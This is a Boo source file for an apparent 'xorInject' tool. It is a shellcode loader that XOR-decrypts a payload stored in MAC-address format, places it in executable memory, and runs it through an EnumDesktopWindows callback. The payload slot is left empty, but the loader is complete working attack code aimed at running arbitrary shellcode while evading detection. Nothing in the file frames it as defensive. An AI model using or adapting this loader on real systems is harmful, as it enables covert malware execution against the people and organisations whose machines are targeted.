JkMaFlLi-xorInject/xorInject.boo

import System.Runtime.InteropServices
from System import IntPtr

callable EnumDesktopWindowsProc(hwnd as IntPtr, lParam as IntPtr) as bool

[DllImport("user32.dll")]
def EnumDesktopWindows(hDesktop as IntPtr, lpEnumFunc as EnumDesktopWindowsProc, lParam as IntPtr) as bool:
    pass

[DllImport("kernel32.dll")]
def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int:
    pass

[DllImport("user32.dll")]
def GetThreadDesktop(dwThreadId as int) as IntPtr:
    pass

[DllImport("kernel32.dll")]
def GetCurrentThreadId() as int:
    pass

callable ShellcodeDelegate() as void

# XOR encrypted shellcode - format from your Python script
encryptedShellcode = (
        # place shellcode here
)

def DecryptShellcode(encrypted as (string), key as byte) as (byte):
    # Convert MAC address format to bytes and decrypt
    decrypted = List[of byte]()
    for mac in encrypted:
        bytes = mac.Split(char('-'))
        for b in bytes:
            if b:  # Skip empty strings
                encrypted_byte = byte.Parse(b, System.Globalization.NumberStyles.HexNumber)
                decrypted.Add(encrypted_byte ^ key)
    return decrypted.ToArray()

def DesktopCallback(hwnd as IntPtr, lParam as IntPtr) as bool:
    shellcodeFunc = cast(ShellcodeDelegate, Marshal.GetDelegateForFunctionPointer(lParam, typeof(ShellcodeDelegate)))
    shellcodeFunc()
    return false

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x00001000
XOR_KEY = 0x42  # Same key used in Python script

# Decrypt shellcode
decryptedShellcode = DecryptShellcode(encryptedShellcode, XOR_KEY)

# Allocate memory for shellcode
funcAddr = VirtualAlloc(0, decryptedShellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
print "Allocated memory at: $funcAddr"

# Copy decrypted shellcode to memory
Marshal.Copy(decryptedShellcode, 0, funcAddr cast IntPtr, decryptedShellcode.Length)

# Get desktop handle and execute
hDesktop = GetThreadDesktop(GetCurrentThreadId())
print "Using desktop handle: $hDesktop"

# Execute via EnumDesktopWindows
EnumDesktopWindows(hDesktop, DesktopCallback, IntPtr(funcAddr))